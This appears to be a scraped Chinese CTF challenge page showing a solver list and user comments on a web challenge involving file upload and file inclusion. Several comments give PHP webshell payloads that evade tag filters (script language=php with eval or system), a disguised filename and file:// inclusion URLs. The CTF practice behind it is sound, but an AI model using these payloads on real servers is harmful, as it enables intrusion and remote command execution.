评分(6)
解题动态
ItsAllOver 攻破了该题 12小时前
theshy_lewis 攻破了该题 22小时前
xiaoxiang07 攻破了该题 1天前
qi1102 攻破了该题 1天前
xiaoma123 攻破了该题 1天前
Alter 攻破了该题 1天前
Lapis 攻破了该题 1天前
gc 攻破了该题 2天前
Puuka2Fuuka 攻破了该题 2天前
CCC1112 攻破了该题 2天前
zmjjkk..... 攻破了该题 3天前
bbzuj 攻破了该题 3天前
KN11 攻破了该题 3天前
zjb520 攻破了该题 4天前
sabgdfiush 攻破了该题 4天前
1柒1 攻破了该题 4天前
能工智人 攻破了该题 5天前
世界你好 攻破了该题 5天前
灵梦归希 攻破了该题 5天前
评论
15105219317 1年前
举报
文件上传成功了，蚁剑也显示连接成功，为啥没数据返回啊
lin666 1年前
举报
文件包含 + 文件上传 （使用非主流的内容写法来绕过常规的内容头替换 <script language="php">system("ls");</script> ）
2686213396 1年前
举报
http://117.72.52.127:18030/index.php?file=file:///flag，file伪协议说是
satuo 1年前
举报
<script language=php>echo 'a'; eval($_POST['pass']);</script>
zhuizhui 1年前
举报
<script language=php>system("cat /flag")</script> webshell.php;.png
leonleonleon 1年前
举报
1.'<'+'?'+'php' 和'>'会被过滤; 2.后缀名会被过滤; 3.用'<' script lanugage=php 后面自己闭合一下，最后文件包含上传获取flag
volnu1l 1年前
举报
新建txt，保存jpg <script language=php>system("ls /flag&&cat /flag")</script> 访问?file=upload/.jpg
yanqiye 1年前
举报
用file=/flag取巧做法，真正做题名字肯定要变，预期做法：传一句话，发现php标签被删了，直接用<?= @eval($_POST[1]);就可以了。
G3tcH4r 1年前
举报
花金币看了WP，不过自己试了下，发现script 设置language为php，也可以传能执行命令的马儿，这题蛮有意思
CHLing 2年前
举报
http://114.67.175.224:18550/index.php?file=//flag